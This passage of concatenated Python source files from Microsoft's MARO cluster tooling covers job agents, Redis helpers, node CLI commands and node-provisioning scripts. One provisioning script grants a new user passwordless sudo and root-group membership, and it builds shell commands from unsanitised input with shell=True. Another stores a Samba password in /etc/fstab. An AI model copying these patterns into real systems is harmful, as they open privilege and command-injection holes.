"""Build the container name with job-related params. Ref: The container name must be from 1 to 255 characters long. Args: job_id: The Id of the job. component_id: The Id of the component. component_index: The index of the current component. Returns: str: Name of the container. """ return f"{job_id}-{component_id}-{component_index}-{uuid.uuid4().hex[:6]}" class JobExecutor: @staticmethod def get_component_id_to_component_type(job_details: dict) -> dict: """Get component_id_to_component_type mapping from job_details Args: job_details: Details of jobs. Returns: dict[str, str]: component_id_to_component_type mapping. """ # Load details. components_details = job_details["components"] # Get component_id_to_type. component_id_to_component_type = {} for component_type, component_details in components_details.items(): component_id_to_component_type[component_details["id"]] = component_type return component_id_to_component_type if __name__ == "__main__": logging.basicConfig(level=logging.DEBUG, format="[%(levelname)-7s] - %(asctime)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S") with open(os.path.expanduser("~/.maro-local/agents/master_agent.config"), "r") as fr: master_agent_config = json.load(fr) master_agent = MasterAgent( cluster_name=master_agent_config["cluster_name"] ) master_agent.start() --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import json import os import yaml from redis import Redis """Load from files""" def load_cluster_details(cluster_name: str) -> dict: with open(os.path.expanduser(f"~/.maro/clusters/{cluster_name}/details.yml"), 'r') as fr: cluster_details = yaml.safe_load(fr) return cluster_details def load_job_details(cluster_name: str, job_name: str) -> dict: with open(os.path.expanduser(f"~/.maro/clusters/{cluster_name}/jobs/{job_name}/details.yml"), 'r') as fr: job_details = yaml.safe_load(fr) return job_details """Node details""" def get_node_details(redis: Redis, cluster_name: str, node_name: str) -> dict: return json.loads( redis.hget( f"{cluster_name}:node_details", node_name ) ) def get_nodes_details(redis: Redis, cluster_name: str) -> dict: nodes_details = redis.hgetall( f"{cluster_name}:node_details" ) for node_name, node_details in nodes_details.items(): nodes_details[node_name] = json.loads(node_details) return nodes_details def set_node_details(redis: Redis, cluster_name: str, node_name: str, node_details: dict) -> None: redis.hset( f"{cluster_name}:node_details", node_name, json.dumps(node_details) ) """Job details""" def get_job_details(redis: Redis, cluster_name: str, job_name: str) -> dict: return_str = redis.hget( f"{cluster_name}:job_details", job_name ) return json.loads(return_str) if return_str is not None else None def get_jobs_details(redis: Redis, cluster_name: str) -> dict: jobs_details = redis.hgetall( f"{cluster_name}:job_details", ) for job_name, job_details in jobs_details.items(): jobs_details[job_name] = json.loads(job_details) return jobs_details def set_job_details(redis: Redis, cluster_name: str, job_name: str, job_details: dict) -> None: redis.hset( f"{cluster_name}:job_details", job_name, json.dumps(job_details) ) """Containers details""" def get_containers_details(redis: Redis, cluster_name: str) -> dict: containers_details = redis.hgetall( f"{cluster_name}:container_details", ) for container_name, container_details in containers_details.items(): containers_details[container_name] = json.loads(container_details) return containers_details def set_containers_details(redis: Redis, cluster_name: str, containers_details: dict) -> None: redis.delete(f"{cluster_name}:container_details") if len(containers_details) == 0: return else: for container_name, container_details in containers_details.items(): containers_details[container_name] = json.dumps(container_details) redis.hmset( f"{cluster_name}:container_details", containers_details ) def set_container_details(redis: Redis, cluster_name: str, container_name: str, container_details: dict) -> None: redis.hset( f"{cluster_name}:container_details", container_name, container_details ) """Pending job ticket""" def get_pending_job_tickets(redis: Redis, cluster_name: str): return redis.lrange( f"{cluster_name}:pending_job_tickets", 0, -1 ) def remove_pending_job_ticket(redis: Redis, cluster_name: str, job_name: str): redis.lrem( f"{cluster_name}:pending_job_tickets", 0, job_name ) """Killed job ticket""" def get_killed_job_tickets(redis: Redis, cluster_name: str): return redis.lrange( f"{cluster_name}:killed_job_tickets", 0, -1 ) def remove_killed_job_ticket(redis: Redis, cluster_name: str, job_name: str): redis.lrem( f"{cluster_name}:killed_job_tickets", 0, job_name ) """Fault tolerance related""" def get_rejoin_component_name_to_container_name(redis: Redis, job_id: str) -> dict: return redis.hgetall( f"job:{job_id}:rejoin_component_name_to_container_name" ) def get_rejoin_container_name_to_component_name(redis: Redis, job_id: str) -> dict: component_name_to_container_name = get_rejoin_component_name_to_container_name( redis=redis, job_id=job_id ) return {v: k for k, v in component_name_to_container_name.items()} def delete_rejoin_container_name_to_component_name(redis: Redis, job_id: str) -> None: redis.delete( f"job:{job_id}:rejoin_component_name_to_container_name" ) def get_job_runtime_details(redis: Redis, job_id: str) -> dict: return redis.hgetall( f"job:{job_id}:runtime_details" ) def get_rejoin_component_restart_times(redis, job_id: str, component_id: str) -> int: restart_times = redis.hget( f"job:{job_id}:component_id_to_restart_times", component_id ) return 0 if restart_times is None else int(restart_times) def incr_rejoin_component_restart_times(redis, job_id: str, component_id: str) -> None: redis.hincrby( f"job:{job_id}:component_id_to_restart_times", component_id, 1 ) --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import argparse import os import subprocess import sys import platform """ This file is used for creating a user account with SSH public key settings on node. Example: sudo python3 create_user.py {account name} "{RSA public key}" """ def run_command(command: str) -> str: if platform.system() == "Windows": command = f"powershell.exe -Command \"{command}\"" completed_process = subprocess.run( command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True ) if completed_process.returncode != 0: return completed_process.stderr return completed_process.stdout def create_user(user_name: str) -> None: try: run_command("sudo useradd -m " + user_name) run_command("sudo usermod -G root " + user_name) ssh_path = f"/home/{user_name}/.ssh/" if not os.path.exists(ssh_path): os.mkdir(ssh_path) except: print("Failed to add user.") sys.exit(1) def add_pub_key(user_name: str, pub_key: str) -> None: ssh_path = f"/home/{user_name}/.ssh/" authorized_keys_path = os.path.join(ssh_path, "authorized_keys") with open(authorized_keys_path, "w+") as pub_key_file: lines = ["\r\n", pub_key, "\r\n"] pub_key_file.writelines(lines) pub_key_file.close() # Please don't test on your own macOS or Linux. # Sudoers file doesn't accept "\r\n", but only "\r" seems OK. def add_sudoers(user_name: str) -> None: account_line = f"{user_name} ALL=(ALL:ALL) NOPASSWD:ALL" with open("/etc/sudoers", "a+") as sudoers_file: lines = [account_line] sudoers_file.writelines(lines) sudoers_file.close() def check_sudoers(user_name: str) -> bool: account_line = f"{user_name} ALL=(ALL:ALL) NOPASSWD:ALL" with open("/etc/sudoers", "r") as sudoers_file: lines = sudoers_file.readlines() sudoers_file.close() for line in lines: if account_line in line: return True return False def user_already_exists(user_name: str) -> bool: user_path = "/home/" + user_name if os.path.exists(user_path): return True return False if __name__ == "__main__": # Load args parser = argparse.ArgumentParser() parser.add_argument("user_name") parser.add_argument("pub_key") args = parser.parse_args() if not user_already_exists(args.user_name): # create user create_user(args.user_name) user_path = "/home/" + args.user_name run_command(f"sudo ssh-keygen -t rsa -N '' -f {user_path}/.ssh/id_rsa") if not check_sudoers(args.user_name): add_sudoers(args.user_name) # set pub key add_pub_key(args.user_name, args.pub_key) --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import argparse import crypt import getpass import os import subprocess import sys import platform """ This file is used for deleting a specified account and related files on node. Example: sudo python3 delete_user.py {account name} """ def run_command(command: str) -> str: if platform.system() == "Windows": command = f"powershell.exe -Command \"{command}\"" completed_process = subprocess.run( command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True ) if completed_process.returncode != 0: return completed_process.stderr return completed_process.stdout def delete_user(user_name: str): try: user_path = "/home/" + user_name run_command("sudo userdel -f " + user_name) if os.path.exists(user_path): run_command("sudo rm -rf " + user_path) except: print("Failed to delete user.") sys.exit(1) def user_already_exists(user_name: str) -> bool: user_path = "/home/" + user_name if os.path.exists(user_path): return True return False if __name__ == "__main__": # Load args parser = argparse.ArgumentParser() parser.add_argument("user_name") args = parser.parse_args() if user_already_exists(args.user_name): # delete user delete_user(args.user_name) print(f"The account {args.user_name} has been deleted.") else: print(f"The account {args.user_name} does not exists.") --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import subprocess import sys INIT_COMMAND = """\ echo 'Step 1/{steps}: Install nvidia driver' sudo apt-get install linux-headers-$(uname -r) distribution=$(. /etc/os-release;echo $ID$VERSION_ID | tr -d '.') wget https://developer.download.nvidia.com/compute/cuda/repos/$distribution/x86_64/cuda-$distribution.pin sudo mv cuda-$distribution.pin /etc/apt/preferences.d/cuda-repository-pin-600 sudo apt-key adv --fetch-keys https://developer.download.nvidia.com/compute/cuda/repos/$distribution/x86_64/7fa2af80.pub echo "deb http://developer.download.nvidia.com/compute/cuda/repos/$distribution/x86_64 /" | \ sudo tee /etc/apt/sources.list.d/cuda.list sudo apt-get update sudo apt-get -y install cuda-drivers echo 'Step 2/{steps}: Install docker' sudo apt-get update sudo apt-get install -y apt-transport-https ca-certificates curl software-properties-common curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - sudo apt-key fingerprint 0EBFCD88 sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" sudo apt-get update sudo apt-get install -y docker-ce docker-ce-cli containerd.io echo 'Step 3/{steps}: Install nvidia container toolkit' distribution=$(. /etc/os-release;echo $ID$VERSION_ID) \ && curl -s -L https://nvidia.github.io/nvidia-docker/gpgkey | sudo apt-key add - \ && curl -s -L https://nvidia.github.io/nvidia-docker/$distribution/nvidia-docker.list | \ sudo tee /etc/apt/sources.list.d/nvidia-docker.list sudo apt-get update sudo apt-get install -y nvidia-docker2 sudo systemctl restart docker echo 'Step 4/{steps}: Install python3 and related packages' sudo apt update sudo apt install -y python3-pip pip3 install redis echo 'Step 5/{steps}: Delete outdated files' rm ~/init_build_node_image_vm.py """ if __name__ == "__main__": # Exec command command = INIT_COMMAND.format(steps=5) process = subprocess.Popen( command, executable="/bin/bash", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, encoding="utf8" ) while True: nextline = process.stdout.readline() if nextline == "" and process.poll() is not None: break sys.stdout.write(nextline) sys.stdout.flush() stdout, stderr = process.communicate() if stderr: sys.stderr.write(stderr.strip("\n")) sys.stdout.write(stdout.strip("\n")) --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import argparse import os import subprocess import sys import yaml INIT_COMMAND = '''\ # create group 'docker' and add admin user sudo groupadd docker sudo gpasswd -a {admin_username} docker # setup samba mount echo 'Step 1/{steps}: Setup samba mount' mkdir -p {maro_path} sudo mount -t cifs -o username={admin_username},password={samba_password} //{master_hostname}/sambashare {maro_path} echo '//{master_hostname}/sambashare {maro_path} cifs username={admin_username},password={samba_password} 0 0' | \ sudo tee -a /etc/fstab # load master public key echo 'Step 2/{steps}: Load master public key' echo '{master_public_key}' >> ~/.ssh/authorized_keys # delete outdated files echo 'Step 3/{steps}: Delete outdated files' rm ~/details.yml rm ~/init_node.py echo "Finish node initialization" ''' if __name__ == "__main__": # Load args parser = argparse.ArgumentParser() parser.add_argument("cluster_name") parser.add_argument("node_name") args = parser.parse_args() # Load details with open(os.path.expanduser("~/details.yml"), "r") as fr: cluster_details = yaml.safe_load(fr) master_hostname = cluster_details["master"]["hostname"] master_public_key = cluster_details["master"]["public_key"] admin_username = cluster_details["user"]["admin_username"] samba_password = cluster_details["master"]["samba"]["password"] # Load command command = INIT_COMMAND.format( admin_username=admin_username, maro_path=os.path.expanduser("~/.maro"), samba_password=samba_password, master_hostname=master_hostname, master_public_key=master_public_key, steps=3 ) # Exec command process = subprocess.Popen( command, executable="/bin/bash", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, encoding="utf8" ) while True: nextline = process.stdout.readline() if nextline == "" and process.poll() is not None: break sys.stdout.write(nextline) sys.stdout.flush() stdout, stderr = process.communicate() if stderr: sys.stderr.write(stderr.strip("\n")) sys.stdout.write(stdout.strip("\n")) --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import yaml from maro.cli.grass.executors.grass_azure_executor import GrassAzureExecutor from maro.cli.grass.executors.grass_on_premises_executor import GrassOnPremisesExecutor from maro.cli.utils.checkers import check_details_validity from maro.cli.utils.details import load_cluster_details from maro.cli.utils.lock import lock from maro.utils.exception.cli_exception import BadRequestError, FileOperationError @check_details_validity @lock def scale_node(cluster_name: str, replicas: int, node_size: str, **kwargs): cluster_details = load_cluster_details(cluster_name=cluster_name) if cluster_details["mode"] == "grass/azure": executor = GrassAzureExecutor(cluster_name=cluster_name) executor.scale_node(replicas=replicas, node_size=node_size) else: raise BadRequestError(f"Unsupported command in mode '{cluster_details['mode']}'.") @check_details_validity @lock def start_node(cluster_name: str, replicas: int, node_size: str, **kwargs): cluster_details = load_cluster_details(cluster_name=cluster_name) if cluster_details["mode"] == "grass/azure": executor = GrassAzureExecutor(cluster_name=cluster_name) executor.start_node(replicas=replicas, node_size=node_size) else: raise BadRequestError(f"Unsupported command in mode '{cluster_details['mode']}'.") @check_details_validity @lock def stop_node(cluster_name: str, replicas: int, node_size: str, **kwargs): cluster_details = load_cluster_details(cluster_name=cluster_name) if cluster_details["mode"] == "grass/azure": executor = GrassAzureExecutor(cluster_name=cluster_name) executor.stop_node(replicas=replicas, node_size=node_size) else: raise BadRequestError(f"Unsupported command in mode '{cluster_details['mode']}'.") @check_details_validity @lock def list_node(cluster_name: str, **kwargs): cluster_details = load_cluster_details(cluster_name=cluster_name) if cluster_details["mode"] in ["grass/azure", "grass/on-premises"]: executor = GrassAzureExecutor(cluster_name=cluster_name) executor.list_node() def node_join(node_join_path: str, **kwargs): try: with open(node_join_path, "r") as fr: node_join_info = yaml.safe_load(fr) fr.close() if node_join_info["mode"] != "grass/on-premises": raise BadRequestError( f"Node join cluster interrupted: Invalid mode: {node_join_info['mode']}") executor = GrassOnPremisesExecutor(node_join_info["cluster"]) executor.node_join_cluster(node_join_info) except FileNotFoundError: raise FileOperationError("Invalid template file path.") @check_details_validity @lock def node_leave(cluster_name: str, node_name: str, **kwargs): cluster_details = load_cluster_details(cluster_name) if cluster_details["mode"] != "grass/on-premises": raise BadRequestError("Node join cluster interrupted: Invalid mode.") executor = GrassOnPremisesExecutor(cluster_name) executor.node_leave_cluster(node_name) --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. from maro.cli.k8s.executors.k8s_aks_executor import K8sAksExecutor from maro.cli.utils.checkers import check_details_validity from maro.cli.utils.details import load_cluster_details from maro.cli.utils.lock import lock from maro.utils.exception.cli_exception import BadRequestError @check_details_validity @lock def scale_node(cluster_name: str, replicas: int, node_size: str, **kwargs): cluster_details = load_cluster_details(cluster_name=cluster_name) if cluster_details["mode"] == "k8s/aks": executor = K8sAksExecutor(cluster_name=cluster_name) executor.scale_node( replicas=replicas, node_size=node_size ) else: raise BadRequestError(f"Unsupported command in mode '{cluster_details['mode']}'.") @check_details_validity @lock def list_node(cluster_name: str, **kwargs): cluster_details = load_cluster_details(cluster_name=cluster_name) if cluster_details["mode"] == "k8s/aks": executor = K8sAksExecutor(cluster_name=cluster_name) executor.list_node() else: raise BadRequestError(f"Unsupported command in mode '{cluster_details['mode']}'.") --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import json import multiprocessing as mp import os import subprocess import time import psutil import redis from maro.cli.process.utils.details import close_by_pid, get_child_pid, load_setting_info from maro.cli.utils.params import LocalPaths, ProcessRedisName class PendingJobAgent(mp.Process): def __init__(self, redis_connection, check_interval: int = 60): super().__init__() self.redis_connection = redis_connection self.check_interval = check_interval def run(self): while True: self._check_pending_ticket() time.sleep(self.check_interval) def _check_pending_ticket(self): # Check pending job ticket pending_jobs = self.redis_connection.lrange(ProcessRedisName.PENDING_JOB_TICKETS, 0, -1) for job_name in pending_jobs: job_detail = json.loads(self.redis_connection.hget(ProcessRedisName.JOB_DETAILS, job_name)) running_jobs_length = self.redis_connection.hlen(ProcessRedisName.RUNNING_JOB) parallel_level = self.redis_connection.hget(ProcessRedisName.SETTING, "parallel_level") # Start pending job only if current running job's number less than parallel level. if int(parallel_level) > running_jobs_length: self._start_job(job_detail) self.redis_connection.lrem(ProcessRedisName.PENDING_JOB_TICKETS, 0, job_name) def _start_job(self, job_details: dict): command_pid_list = [] for component_type, command_info in job_details["components"].items(): component_number = command_info["num"] component_command = f"JOB_NAME={job_details['name']} " + command_info["command"] for number in range(component_number): job_local_path = os.path.expanduser(f"{LocalPaths.MARO_PROCESS}/{job_details['name']}") if not os.path.exists(job_local_path): os.makedirs(job_local_path) with open(f"{job_local_path}/{component_type}_{number}.log", "w") as log_file: proc = subprocess.Popen(component_command, shell=True, stdout=log_file) command_pid = get_child_pid(proc.pid) command_pid_list.append(command_pid) self.redis_connection.hset(ProcessRedisName.RUNNING_JOB, job_details["name"], json.dumps(command_pid_list)) class JobTrackingAgent(mp.Process): def __init__(self, redis_connection, check_interval: int = 60): super().__init__() self.redis_connection = redis_connection self.check_interval = check_interval self._shutdown_count = 0 self._countdown = self.redis_connection.hget(ProcessRedisName.SETTING, "agent_countdown") def run(self): while True: self._check_job_status() time.sleep(self.check_interval) keep_alive = int(self.redis_connection.hget(ProcessRedisName.SETTING, "keep_agent_alive")) if not keep_alive: self._close_agents() def _check_job_status(self): running_jobs = self.redis_connection.hgetall(ProcessRedisName.RUNNING_JOB) running_jobs = {job_name.decode(): json.loads(pid_list) for job_name, pid_list in running_jobs.items()} for running_job, pid_list in running_jobs.items(): # Check pid status still_alive = False for pid in pid_list: if psutil.pid_exists(pid): still_alive = True # Update if no pid exists if not still_alive: self.redis_connection.hdel(ProcessRedisName.RUNNING_JOB, running_job) def _close_agents(self): if ( not self.redis_connection.hlen(ProcessRedisName.RUNNING_JOB) and not self.redis_connection.llen(ProcessRedisName.PENDING_JOB_TICKETS) ): self._shutdown_count += 1 else: self._shutdown_count = 0 if self._shutdown_count >= self._countdown: agent_pid = int(self.redis_connection.hget(ProcessRedisName.SETTING, "agent_pid")) # close agent close_by_pid(pid=agent_pid, recursive=True) # Set agent status to 0 self.redis_connection.hset(ProcessRedisName.SETTING, "agent_status", 0) class KilledJobAgent(mp.Process): def __init__(self, redis_connection, check_interval: int = 60): super().__init__() self.redis_connection = redis_connection self.check_interval = check_interval def run(self): while True: self._check_kill_ticket() time.sleep(self.check_interval) def _check_kill_ticket(self): # Check pending job ticket killed_job_names = self.redis_connection.lrange(ProcessRedisName.KILLED_JOB_TICKETS, 0, -1) for job_name in killed_job_names: if self.redis_connection.hexists(ProcessRedisName.RUNNING_JOB, job_name): pid_list = json.loads(self.redis_connection.hget(ProcessRedisName.RUNNING_JOB, job_name)) close_by_pid(pid=pid_list, recursive=False) self.redis_connection.hdel(ProcessRedisName.RUNNING_JOB, job_name) else: self.redis_connection.lrem(ProcessRedisName.PENDING_JOB_TICKETS, 0, job_name) self.redis_connection.lrem(ProcessRedisName.KILLED_JOB_TICKETS, 0, job_name) class MasterAgent: def __init__(self): setting_info = load_setting_info() self.check_interval = setting_info["check_interval"] self.redis_connection = redis.Redis( host=setting_info["redis_info"]["host"], port=setting_info["redis_info"]["port"] ) self.redis_connection.hset(ProcessRedisName.SETTING, "agent_pid", os.getpid()) def start(self) -> None: """Start agents.""" pending_job_agent = PendingJobAgent( redis_connection=self.redis_connection, check_interval=self.check_interval ) pending_job_agent.start() killed_job_agent = KilledJobAgent( redis_connection=self.redis_connection, check_interval=self.check_interval ) killed_job_agent.start() job_tracking_agent = JobTrackingAgent( redis_connection=self.redis_connection, check_interval=self.check_interval ) job_tracking_agent.start() if __name__ == "__main__": master_agent = MasterAgent() master_agent.start() --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import os import redis from maro.cli.process.utils.default_param import process_setting from maro.cli.process.utils.details import load_details, save_setting_info, start_agent, start_redis from maro.cli.utils.params import LocalPaths, ProcessRedisName from maro.utils.logger import CliLogger logger = CliLogger(name=f"ProcessExecutor.{__name__}") def create(deployment_path: str, **kwargs): current_process_path = os.path.expanduser(LocalPaths.MARO_PROCESS) # Create folder if not os.path.exists(current_process_path): os.makedirs(current_process_path) # Get environment setting setting_info = process_setting if deployment_path is not None: customized_setting = load_details(deployment_path=deployment_path) for key, value in customized_setting.items(): if key in setting_info: setting_info[key] = value save_setting_info(setting_info) logger.info(f"MARO process mode setting: {setting_info}") # Start Redis if setting_info["redis_mode"] == "MARO": start_redis(port=setting_info["redis_info"]["port"]) logger.info(f"Redis server start with port {setting_info['redis_info']['port']}.") redis_connection = redis.Redis(host=setting_info["redis_info"]["host"], port=setting_info["redis_info"]["port"]) # Start agents start_agent() redis_connection.hset(ProcessRedisName.SETTING, "agent_status", 1) logger.info("Agents start.") # Push default setting into Redis del setting_info["redis_info"] redis_connection.hmset(ProcessRedisName.SETTING, setting_info) --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import json import os import subprocess import redis from maro.cli.process.utils.details import close_by_pid, load_setting_info from maro.cli.utils.params import LocalPaths, ProcessRedisName from maro.utils.logger import CliLogger logger = CliLogger(name=f"ProcessExecutor.{__name__}") def delete(**kwargs): setting_info = load_setting_info() # Build connection redis_connection = redis.Redis(host=setting_info["redis_info"]["host"], port=setting_info["redis_info"]["port"]) # Stop running jobs running_jobs = redis_connection.hgetall(ProcessRedisName.RUNNING_JOB) if running_jobs: for job_name, pid_list in running_jobs.items(): pid_list = json.loads(pid_list) close_by_pid(pid=pid_list, recursive=False) logger.info(f"Stop running job {job_name.decode()}.") # Stop Agents agent_status = int(redis_connection.hget(ProcessRedisName.SETTING, "agent_status")) if agent_status: agent_pid = int(redis_connection.hget(ProcessRedisName.SETTING, "agent_pid")) close_by_pid(pid=agent_pid, recursive=True) redis_connection.hset(ProcessRedisName.SETTING, "agent_status", 0) logger.info("Close agents.") else: logger.info("Agents' status is already closed.") # close Redis redis_mode = redis_connection.hget(ProcessRedisName.SETTING, "redis_mode").decode() if redis_mode == "MARO": get_redis_pid_command = f"pidof 'redis-server *:{setting_info['redis_info']['port']}'" get_redis_pid_process = subprocess.Popen(get_redis_pid_command, shell=True, stdout=subprocess.PIPE) redis_pid = int(get_redis_pid_process.stdout.read()) get_redis_pid_process.wait() close_by_pid(pid=redis_pid, recursive=False) logger.info(f"Close Redis server with port {setting_info['redis_info']['port']}") else: logger.info(f"MARO does not close Redis server with mode {redis_mode}.") # Rm process environment setting os.remove(os.path.expanduser(LocalPaths.MARO_PROCESS_SETTING)) --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import copy import json import os import shutil from maro.cli.process.utils.details import env_prepare, load_details from maro.cli.utils.params import LocalPaths, ProcessRedisName from maro.utils.logger import CliLogger logger = CliLogger(name=__name__) class ProcessExecutor: def __init__(self): self.redis_connection = env_prepare() def start_job(self, deployment_path: str): job_details = load_details(deployment_path) self._push_pending_job(job_details) def _push_pending_job(self, job_details: dict): job_name = job_details["name"] # Push job details to redis self.redis_connection.hset( ProcessRedisName.JOB_DETAILS, job_name, json.dumps(job_details) ) # Push job name to pending_job_tickets self.redis_connection.lpush( ProcessRedisName.PENDING_JOB_TICKETS, job_name ) logger.info(f"Sending {job_name} into pending job tickets.") def stop_job(self, job_name: str): if not self.redis_connection.hexists(ProcessRedisName.JOB_DETAILS, job_name): logger.error(f"No such job '{job_name}' in Redis.") return # push job_name into kill_job_tickets self.redis_connection.lpush( ProcessRedisName.KILLED_JOB_TICKETS, job_name ) logger.info(f"Sending {job_name} into killed job tickets.") def delete_job(self, job_name: str): # Stop job for running and pending job. self.stop_job(job_name) # Rm job details in Redis self.redis_connection.hdel(ProcessRedisName.JOB_DETAILS, job_name) # Rm job's log folder job_folder = os.path.expanduser(f"{LocalPaths.MARO_PROCESS}/{job_name}") shutil.rmtree(job_folder, True) logger.info(f"Remove local temporary log folder {job_folder}.") def get_job_logs(self, job_name): source_path = os.path.expanduser(f"{LocalPaths.MARO_PROCESS}/{job_name}") if not os.path.exists(source_path): logger.error(f"Cannot find the logs of {job_name}.") destination = os.path.join(os.getcwd(), job_name) if os.path.exists(destination): shutil.rmtree(destination) shutil.copytree(source_path, destination) logger.info(f"Dump logs in path: {destination}.") def list_job(self): # Get all jobs jobs = self.redis_connection.hgetall(ProcessRedisName.JOB_DETAILS) for job_name, job_details in jobs.items(): job_name = job_name.decode() job_details = json.loads(job_details) if self.redis_connection.hexists(ProcessRedisName.RUNNING_JOB, job_name): job_details["job_status"] = "running" else: pending_jobs = self.redis_connection.lrange(ProcessRedisName.PENDING_JOB_TICKETS, 0, -1) pending_jobs = [job_name.decode() for job_name in pending_jobs] job_details["job_status"] = "pending" if job_name in pending_jobs else "finish" logger.info(job_details) def start_schedule(self, deployment_path: str): schedule_detail = load_details(deployment_path) # push schedule details to Redis self.redis_connection.hset( ProcessRedisName.JOB_DETAILS, schedule_detail["name"], json.dumps(schedule_detail) ) job_list = schedule_detail["job_names"] # switch schedule details into job details job_detail = copy.deepcopy(schedule_detail) del job_detail["job_names"] for job_name in job_list: job_detail["name"] = job_name self._push_pending_job(job_detail) def stop_schedule(self, schedule_name: str): if self.redis_connection.hexists(ProcessRedisName.JOB_DETAILS, schedule_name): schedule_details = json.loads(self.redis_connection.hget(ProcessRedisName.JOB_DETAILS, schedule_name)) else: logger.error(f"Cannot find {schedule_name} in Redis. Please check schedule name.") return job_list = schedule_details["job_names"] for job_name in job_list: self.stop_job(job_name) --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import os import signal import subprocess from typing import Union import psutil import redis import yaml from maro.cli.utils.params import LocalPaths, ProcessRedisName from maro.utils.exception.cli_exception import ProcessInternalError def load_details(deployment_path: str = None): try: with open(deployment_path, "r") as cf: details = yaml.safe_load(cf) except Exception as e: raise ProcessInternalError(f"Failure to find job details, cause by {e}") return details def load_setting_info(): try: with open(os.path.expanduser(LocalPaths.MARO_PROCESS_SETTING), "r") as rf: redis_info = yaml.safe_load(rf) except Exception as e: raise ProcessInternalError( f"Failure to load setting information, cause by {e}" f"Please run maro process setup, before any process commands." ) return redis_info def save_setting_info(setting_info): with open(os.path.expanduser(LocalPaths.MARO_PROCESS_SETTING), "w") as wf: yaml.safe_dump(setting_info, wf) def env_prepare(): """Need Redis ready and master agent start.""" setting_info = load_setting_info() redis_connection = redis.Redis(host=setting_info["redis_info"]["host"], port=setting_info["redis_info"]["port"]) agent_status = int(redis_connection.hget(ProcessRedisName.SETTING, "agent_status")) if not agent_status: start_agent() redis_connection.hset(ProcessRedisName.SETTING, "agent_status", 1) return redis_connection def start_agent(): # start job_agent.py command = f"python {LocalPaths.MARO_PROCESS_AGENT}" _ = subprocess.Popen(command, shell=True) def start_redis(port: int): # start Redis for maro redis_process = subprocess.Popen( ["redis-server", "--port", str(port), "--daemonize yes"] ) redis_process.wait(timeout=2) def close_by_pid(pid: Union[int, list], recursive: bool = False): if isinstance(pid, int): if not psutil.pid_exists(pid): return if recursive: current_process = psutil.Process(pid) children_process = current_process.children(recursive=False) # May launch by JobTrackingAgent which is child process, so need close parent process first. current_process.kill() for child_process in children_process: child_process.kill() else: os.kill(pid, signal.SIGKILL) else: for p in pid: if psutil.pid_exists(p): os.kill(p, signal.SIGKILL) def get_child_pid(parent_pid): command = f"ps -o pid --ppid {parent_pid} --noheaders" get_children_pid_process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE) children_pids = get_children_pid_process.stdout.read() get_children_pid_process.wait(timeout=2) # Convert into list or int try: children_pids = int(children_pids) except ValueError: children_pids = children_pids.decode().split("\n") children_pids = [int(pid) for pid in children_pids[:-1]] return children_pids --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import logging import os class GlobalParams: PARALLELS = 5 LOG_LEVEL = logging.INFO DEFAULT_REDIS_PORT = 6379 DEFAULT_FLUENTD_PORT = 24224 DEFAULT_SSH_PORT = 22 class GlobalPaths: MARO_LIB = "~/.maro/lib" MARO_GRASS_LIB = "~/.maro/lib/grass" MARO_K8S_LIB = "~/.maro/lib/k8s" MARO_CLUSTERS = "~/.maro/clusters" MARO_DATA = "~/.maro/data" MARO_TEST = "~/.maro/test" MARO_LOCAL_TMP = "~/.maro-local/tmp" ABS_MARO_LIB = os.path.expanduser(MARO_LIB) ABS_MARO_GRASS_LIB = os.path.expanduser(MARO_GRASS_LIB) ABS_MARO_K8S_LIB = os.path.expanduser(MARO_K8S_LIB) ABS_MARO_CLUSTERS = os.path.expanduser(MARO_CLUSTERS) ABS_MARO_DATA = os.path.expanduser(MARO_DATA) ABS_MARO_TEST = os.path.expanduser(MARO_TEST) ABS_MARO_LOCAL_TMP = os.path.expanduser(MARO_LOCAL_TMP) class LocalPaths: """Only use by maro process cli""" MARO_PROCESS = "~/.maro/process" MARO_PROCESS_SETTING = "~/.maro/process/setting.yml" MARO_PROCESS_AGENT = os.path.join(os.path.dirname(os.path.abspath(__file__)), "../process/agent/job_agent.py") MARO_PROCESS_DEPLOYMENT = os.path.join(os.path.dirname(os.path.abspath(__file__)), "../process/deployment") class ProcessRedisName: """Record Redis elements name, and only for maro process""" PENDING_JOB_TICKETS = "process:pending_job_tickets" KILLED_JOB_TICKETS = "process:killed_job_tickets" JOB_DETAILS = "process:job_details" RUNNING_JOB = "process:running_job" SETTING = "process:setting" --- FILE SEPARATOR --- # Copyright (c) Microsoft Corporation. # Licensed under the MIT license. from maro.rl.actor import AbsActor, SimpleActor from maro.rl.agent import AbsAgent, AbsAgentManager, AgentManagerMode, SimpleAgentManager from maro.rl.algorithms import ( DQN, AbsAlgorithm, ActionInfo, ActorCritic, ActorCriticConfig, DQNConfig, PolicyGradient, PolicyOptimization, PolicyOptimizationConfig ) from maro.rl.dist_topologies import ( ActorProxy, ActorWorker, concat_experiences_by_agent, merge_experiences_with_trajectory_boundaries ) from maro.rl.exploration import ( AbsExplorer, EpsilonGreedyExplorer, GaussianNoiseExplorer, NoiseExplorer, UniformNoiseExplorer ) from maro.rl.learner import AbsLearner, SimpleLearner from maro.rl.models import AbsBlock, 